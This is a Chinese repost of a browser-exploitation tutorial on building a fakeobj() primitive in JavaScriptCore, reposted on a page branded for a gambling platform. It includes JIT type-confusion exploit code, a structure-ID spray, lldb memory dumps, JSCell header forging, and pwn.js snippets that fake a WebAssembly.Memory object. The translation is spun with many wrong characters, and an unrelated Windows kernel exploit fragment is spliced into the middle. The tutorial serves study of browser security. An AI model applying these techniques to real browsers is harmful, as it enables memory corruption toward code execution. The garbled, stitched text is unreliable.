The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption – browser 0x05 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption – browser 0x05

申博_安全防护 申博 69次浏览 未收录 0个评论

在本文中,我们将为读者引见fakeobj()原语。该原语基于addrof()中运用的一个破绽,攻击者能够经由历程它来损坏内部JavaScriptCore对象的内存空间。

简介

在前一篇文章中,我们引见了怎样走漏javascript对象的地点;在本文中,我们将考核是不是能损坏相干的内存空间。在继承浏览引见之前,您必需相识一下JavaScript对象在内存中的规划状况(如内部属性和butterfly组织等),因为在这篇文章中,我们将运用这些学问将内存走漏题目转化为内存损坏题目。

读者能够猎奇我们是怎样完成这个转化历程的,老实说,这可比简朴的缓冲区溢出的应用要庞杂很多,因为这里没法直接掌握指令指针。虽然我们这里的破绽的可应用性较差,然则,经由一番适当地折腾,就可以发挥出其壮大的威力了。

“fakeobj”原语

在saelo的相干文章中,他统共谈到了两个原语:addrof和fakeobj。在前面的文章中,我们已见地了怎样应用addrof原语来走漏内存中对象的地点,如今让我们来看看fakeobj的威力怎样。

fakeobj原语的事情机理现实上与addrof原语恰好相反。这里,我们将本机双精度浮点数注入JSValues数组,以许可我们建立JSObject指针。

请记着,这篇文章中,JSValues是以下面的花样来存储的32位整数的:其最高字节为FFFF,细致以下所示。

Pointer {  0000:PPPP:PPPP:PPPP
         / 0001:****:****:****
Double  {         ...
         \ FFFE:****:****:****
Integer {  FFFF:0000:IIII:IIII

这正是我们在内存中看到的存储体式格局,然则,当我们将一个JavaScript对象增添到数组中时,现实存储的是一个指针,即该对象的地点。所以,既然addrof原语的思绪是将指向一个对象的指针作为双精度浮点型数据读取的话,那末,我们可否反过来,行将双精度浮点型数据解释为指向一个对象的指针呢?这正是我们如今要做的。

让我们复制addrof代码并举行响应的革新。

// 
// fakeobj primitive
// Numbers in the comments represent the points listed below the code.

function fakeobj(dbl) { // (1) & (2)
  var array = [13.37];
  var reg = /abc/y;

  // Target function
  var AddrSetter = function(array) { // (4)
    "abc".match(reg);
    array[0] = dbl; // (3)
  }

  // Force optimization
  for (var i = 0; i < 100000; ++i)
    AddrSetter(array);

  // Setup haxx
  regexLastIndex = {};
  regexLastIndex.toString = function() {
    array[0] = {};
    return "0";
  };
  reg.lastIndex = regexLastIndex;

  // Do it!
  AddrSetter(array);
  return array[0]; // (5)
}

这里所做的修正包含:

  • 将函数称号从addrof改成fakeobj。
  • 将参数称号从val更改成dbl,示意双精度浮点型(double)。
  • 这里不是根据看待双精度浮点数型的体式格局来读取并返回数组的第一个值,相反,这里实行的操纵是写入。
  • 将函数的称号从AddrGetter改成AddrSetter。
  • 这里只返回数组的第一个元素,而不是返回AddrGetter的运转效果。

这统统都是从一个寄存双精度浮点型数据的数组最先的,而我们的JIT代码担任将指定的双精度浮点型数据写入一个一般数组的第一个元素中。然后,我们运用toString函数预备好破绽,并再次挪用AddrSetter函数。这将实行RegEx,它会挪用toString,并将对象分配给该数组的第一个元素。如今,JavaScript引擎会将寄存双精度浮点数的数组转换为一个占领一连内存空间的数组,并将指向该新对象的指针放入个中。然则在JIT型的代码眼里,依然将其视为一个寄存双精度浮点数的数组,这会将我们指定的双精度浮点数写入第一个元素,从而掩盖本来指针。如今,既然掩盖对象地点的这个双精度浮点数看起来像一个指针,那末JavaScript会以为数组的第一个元素指向了一个对象。话不多说,让我们着手尝尝吧。

 捏造对象

让我们尝试捏造一个对象,但起首,让我们运转jsc,并附加到lldb上面,然后,以交互形式运转我们的JavaScript文件。

$ lldb ./jsc
(lldb) run -i ~/projects/webkit/test.js
Process 64142 launched: './jsc (x86_64)
>>>

为简朴起见,这里将建立一个只要单个属性x的对象,现实上,这个属性就是一个简朴的整数。

>>> test = {}
[object Object]
>>> test.x = 1
1
>>> describe(test)
Object: 0x62d0000d4080 with butterfly 0x0 (Structure 0x62d000188310: [...])
# Hit CTRL + C
(lldb) x/4gx 0x62d0000d4080
0x62d0000d4080: 0x0100160000000126 0x0000000000000000
0x62d0000d4090: 0xffff000000000001 0x0000000000000000

经由历程视察这个对象,我们发明0x0100160000000126具有一些标志和组织ID,它们一同构成了JSCell头部。以后,是一个由null(0x0)值构成的butterfly组织,后跟内联属性x,我们将其设置为32位整数,其值为1。如今,请记着这些特性,接下来就要最先着手捏造如许的对象了。

这个破绽应用要领中的亮点之一是,在捏造对象时,我们能够应用如许一个现实——对象的前几个属性是内联属性,而且不会放入butterfly组织中。如今,让我们先看看这个对象在内存中的规划状况。在这里,特别须要注重属性1、2、3:

>>> fake = {}
[object Object]
>>> fake.a = 1
1
>>> fake.b = 2
2
>>> fake.c = 3
3
>>> describe(fake)
Object: 0x62d0000d40c0 with butterfly 0x0 ...
# Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0xffff000000000001 0xffff000000000002
0x62d0000d40e0: 0xffff000000000003 0x0000000000000000

接下来,我们最先对这个原语举行测试。为此,我们能够运用addrof来猎取其地点,然后,针对这个地点运用fakeobj原语。这意味着hax对象如今应当与fake对象是如出一辙的。

>>> addrof(fake)
5.36780059573753e-310
>>> hax = fakeobj(5.36780059573753e-310)
[object Object]
>>> hax.a
1
>>> hax.b
2
>>> hax.c
3
>>> describe(hax)
Object: 0x62d0000d40c0 with butterfly 0x0 ...
>>> describe(fake)
Object: 0x62d0000d40c0 with butterfly 0x0 ...

The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05

太棒了,如许我们就可以取得fake对象的地点了,继而能够运用fakeobj原语取回fake对象。这就是关键地点:我们能够完整掌握JavaScript引擎,让它把双精度浮点型数据解释为指针。这就意味着,假如我们将这个双精度浮点数(即fake对象)加上一个比较小的值(+0x10),那末这个指针就会随之挪动,并指向背面的内存位置。

假如我们如今运用fakeobj函数,JavaScript会以为新的偏移量是JavaScript对象,但在我们的例子中,它看起来不像是一个有用的JavaScript对象,因为它缺乏标志、butterfly组织和内部属性。因为我们已能够掌握内部属性,所以能够尝试建立一个有用的Javascript对象。

下面,让我们从标志和组织ID最先。如您所知,组织ID定义了对象中存在哪些属性。假如我们想用前面的属性x来捏造测试对象,则须要运用测试对象中的组织ID。

我们的test对象以下所示:

# Flags and Structure ID | Butterfly
0x0100160000000126 0x0000000000000000
0xffff000000000001 0x0000000000000000
# Inline property `x` with the value `1`

因而,我们愿望将与实在的组织ID婚配的假组织ID写入第一个属性。不过,这里并没有相似浏览器中describe如许的函数,那末,我们怎样在运转时读取test对象的组织ID呢?好吧,前面已说过,每次向对象增添新属性时,我们都能够建立一个新组织并取得一个新的组织ID。因而,我们能够这一点来猜想有用的组织ID。

我们能够建立很多含有属性x的测试对象,同时,还能够经由历程增添其他属性来强迫对象天生新的组织ID。基础上,我们就是对测试对象举行“放射”操纵。

for (var i=0; i<0x1000; i++) {
    test = {}
    test.x = 1
    test['prop_' + i] = 2
}
2
>>> describe(test)
Object: 0x62d00089d300 with butterfly 0x0 (Structure ...:[Object, {x:0, prop_4095:1} ...])

假如我们检察末了天生的test对象,我们会发明,个中不仅含有x属性,同时存在其他的属性,但重点在于这里有一个取值很大的组织ID。因而,假如我们随机挑选一个组织ID,比如说0x1000,我们基础能够一定,这对应于个中的一个测试对象。从理论上讲,这也能够失利,也就是说给出的组织ID并不对应于我们的目标测试对象,但经由历程放射更多的对象,我们的胜利几率就会随之进步。

所以,如今我们想要组织一个64位值,即0x0100160000000126,这就是我们的特别标志和组织ID。因为我们要举行写操纵的目标是双精度浮点型数据,所以,须要先将这个64位整数转换为双精度浮点型。

>>> # This is python, not the jsc interpreter
>>> import struct
>>> struct.pack("Q", 0x0100160000001000)
b'\x00\x10\x00\x00\x00\x16\x00\x01'
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000))
(7.330283319472755e-304,)

如今,这个双精度浮点型数据将成为我们fake对象的有用JSCell头部,同时,我们还能够将它赋值给属性a。

>>> // this is javascript
>>> fake.a = 7.330283319472755e-304
7.330283319472755e-304
>>> describe(fake)
Object: 0x62d0000d40c0
// Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0x0101160000001000 0xffff000000000002
0x62d0000d40e0: 0xffff000000000003 0x0000000000000000

然则,如上所示,这个值轻微有点题目。假如我们细致比对0x0100160000001000与0x0100160000001000就会发明,在0x0101160000001000中多出来一个1。现实上,这是因为JSValues的NaN编码体式格局而至。

Windows Kernel Exploit (一)

0x00:前言 最近重新开始了我的Windows内核之旅,这是我总结的Windows kernel exploit系列的第一部分,从简单的UAF入手,第一篇我尽量写的详细一些,实验环境是Windows 7 x86 sp1,研究内核漏洞是一件令人兴奋的事情,希望能通过文章遇到更多志同道合的朋友,看此文章之前你需要有以下准备: Windows 7 x86虚拟机 配置好windbg等调试工具,建议配合VirtualKD使用 HEVD+OSR Loader配合构造漏洞环境 0x01:漏洞原理 提权原理 首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息 kd> !dml_proc
Address PID

我们完成的计划是经由历程将值2^48与数字举行64位整数相加来对双精度值举行编码。

The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05

针对双精度浮点型的NaN编码体式格局

所以,简朴来讲,引擎会为这些双精度浮点型数值加上值0x1000000000000,因而,我们只须要减去这个值即可。

>>> # This is python
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000-0x1000000000000))
(7.082855106403439e-304,)

如今,让我们再试一次。

>>> // this is javascript
>>> fake.a = 7.082855106403439e-304
7.082855106403439e-304
>>> describe(fake)
Object: 0x62d0000d40c0
// Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0x0100160000001000 0xffff000000000002
0x62d0000d40e0: 0xffff000000000003 0x0000000000000000

如今,我们获得了准确的值,即0x0100160000001000。接下来,我们要组织butterfly组织,而且愿望其值为0,然则假如JavaScript在开首部份增添FFFF的话,我们怎样该怎样到达这一目标呢?现实上,这很简朴——我们能够将其设置为某个值,只需删除该属性,这时候体系将删除该属性的内容,并将响应内存空间置0x0。

>>> fake.b = 2
2
>>> delete fake.b
true
// Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0x0100160000001000 0x0000000000000000
0x62d0000d40e0: 0xffff000000000003 0x0000000000000000

如今,我们捏造的对象的第三个属性将成为捏造的测试对象上的第一个属性,所以,我们能够将它设置为我们想要的任何值,人人以为1337怎样?

>>> fake.c = 1337
1337
// Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0x0100160000001000 0x0000000000000000
0x62d0000d40e0: 0xffff000000000539 0x0000000000000000

现在来看,统统都很顺遂,接下来,让我们将所有这些都放到test.js剧本中。

function fakeobj(dbl) {
    ...
}

for (var i=0; i<0x2000; i++) {
    test = {}
    test.x = 1
    test['prop_' + i] = 2
}

fake = {}
fake.a = 7.082855106403439e-304
fake.b = 2
fake.c = 1337
delete fake.b

print(addrof(fake)); // get the address of the fake object

运转该剧本,我们将获得捏造的对象的地点。

(lldb) run
5.367800960505e-310
>>> x/6gx 0x62d0007de880
0x62d0007de880: 0x010016000000212a 0x0000000000000000
0x62d0007de890: 0x0100160000001000 0x0000000000000000
0x62d0007de8a0: 0xffff000000000539 0x0000000000000000

现实上,5.367800960505e-310就是0x62d0007de880, 这里想要偏移16(0x10)字节, 为此,能够借助于以下代码:

>>> # This is python
>>> struct.unpack("d", struct.pack("Q", 0x62d0007de880 + 0x10))
(5.3678009605058e-310,)

如今,让我们运用fakeObj函数来看看是不是真建立了一个对象。

>>> // this is javascript
>>> hax = fakeobj(5.3678009605058e-310)
[object Object]
>>> hax.x
1337 // It works!
>>> describe(hax)
Object: 0x62d0007de890 with butterfly ...

在0x62d0007de890处果然有一个对象,这意味着我们能够让jsc将hax看做是一个对象,但现实上它只是我们捏造的对象的属性。这意味着,假如我们转变一个对象的属性的话,就会影响另一个对象。

>>> hax.x
1337
>>> fake.c = "LiveOverflow"
LiveOverflow
>>> hax.x
LiveOverflow

这统统貌似用途不大,然则请细致想一下就会发明,我们不仅能够手工建立恣意JavaScript对象,同时,还能够在内存级别来掌握其内部类属性。固然,这离代码实行才能还很大间隔,但我们应当问本身一个题目:

我们能够经由历程捏造某些JavaScript对象来进步我们的战斗力吗

现实上,很多优异的研究人员早就问过这个题目并找到了答案,因而,我们能够向他们进修。好了,我们先来看看Linus的解决计划

## Linus的解决计划

在pwn.js中,他运用了上面相似的体式格局来放射大批Float64Array组织。

var structs = [];
for (var i = 0; i < 0x5000; i++) {
    var a = new Float64Array(1);
    a['prop' + i] = 1337;
    structs.push(a);
}

然后,他还放射了少许WebAssembly.Memory对象,并预备了一些Web汇编代码(web assembly code)。

for (var i = 0; i < 50; i++) {
    var a = new WebAssembly.Memory({inital: 0});
    a['prop' + i] = 1337;
    structs.push(a);
}
var webAssemblyCode = '\x00asm\x01\x00\x00\x00\x01\x0b\x02...';
var webAssemblyBuffer = str2ab(webAssemblyCode);
var webAssemblyModule = new WebAssembly.Module(webAssemblyBuffer);

他还应用Int64.js库中的Int64来设置JSCell头部,这个程序库库是由saleo建立的,这里暂且不表。简朴来讲,它的作用就是建立一个捏造的JScell值,就像我们运用Python所做的那样。

var jsCellHeader = new Int64([
    0x00, 0x50, 0x00, 0x00, // m_structureID
    0x0,                    // m_indexingType
    0x2c,                   // m_type
    0x08,                   // m_flags
    0x1                     // m_cellState
]);

以后,他新建了一个名为wasmBuffer的对象,其第一个属性为jsCellHeader,相似于fake对象的第一个属性a。另外,他还建立了一个butterfly组织。然则,随后他又删除了该组织。

var wasmBuffer = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: null,
    vector: null,
    memory: null,
    deleteMe: null
};

删除butterfly组织,使其地点内存空间的值为0。

delete wasmBuffer.butterfly

往下看,我们发明第一个addrof函数,它将wasmBuffer对象的地点以双精度浮点型数据的体式格局走漏出来。

var wasmBufferRawAddr = addrof(wasmBuffer);

如今,经由历程将0x10与原始指针相加,使所指地点向后挪动16个字节。

var wasmBufferAddr = Add(Int64.fromDouble(wasmBufferRawAddr), 16);

然后,再次运用库代码将地点转换为双精度浮点型,并将其传递给fakeObj函数。

var fakeWasmBuffer = fakeobj(wasmBufferAddr.asDouble());

如今,就获得了一个捏造的Float64Array。但这里有个秘诀。请记着,要先放射Float64Array,然后再向Float64Array中放射WebAssembly.Memory对象,因为这里我们对Float64Array基础就不感兴趣。

这里,while轮回用于搜检fakeWasmBuffer是不是为WebAssembly.Memory对象的实例。不过,当他有意挑选一个组织ID来取得Float64Array时,这又有什么意义呢?他应用了两个对象互相堆叠的现实——捏造的wasmBuffer与原始wasmBuffer的JSCell头部是堆叠的。当我们转变捏造的对象的属性的值时,即fake.c = “LiveOverflow”,我们看到,hax对象也会随之发作响应的变化。在这里,他不停增添wasmBuffer的JSCell头部的值,所以,一定也会影响捏造的wasmBuffer的现实组织ID。

while (!(fakeWasmBuffer instanceof WebAssembly.Memory)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    wasmBuffer.jsCellHeader = jsCellHeader.asJSValue();
}

所以每次轮回时,他都邑搜检捏造的wasmBuffer是不是已变成了一个WebAssembley.Memory对象。基础上能够说,在获得WebAssembley.Memory对象之前,他都是用一种平安的体式格局处置惩罚组织ID。这就是前面先放射大批浮点数的缘由,以后才放射少许WebAssembley.Memory对象的缘由——毕竟,放射浮点数能够敏捷猎取大批组织ID,如许就可以够确保先获得如许一个捏造的对象,背面就是WebAssembley.Memory的内存组织。

固然,这依然不是一个代码实行破绽,以至没有交卸怎样完成这一点,然则读者不要焦急,我们会在背面的文章中细致加以引见。

原文地点:https://liveoverflow.com/the-fakeobj-primitive-turning-an-address-leak-into-a-memory-corruption-browser-0x05/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption – browser 0x05
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址